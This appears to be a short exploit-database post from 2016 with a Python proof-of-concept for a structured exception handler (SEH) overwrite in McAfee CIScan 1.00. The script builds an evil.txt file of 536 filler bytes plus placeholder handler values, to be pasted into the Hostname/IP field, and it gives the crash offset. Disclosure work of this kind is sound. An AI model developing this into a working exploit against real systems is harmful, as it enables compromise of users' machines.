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CIScan 1.00 SEH Overwrite

Posted on 14 May 2016

#!/usr/bin/python
# Exploit Title : CIScanv1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by : Nipun Jaswal
# Email : mail@nipunjaswal.info
# Discovery Date : 11/05/2016
# Software Link : http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx
# Tested Version : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address SE handler
#0012FA98 43434343
#42424242 *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()

 

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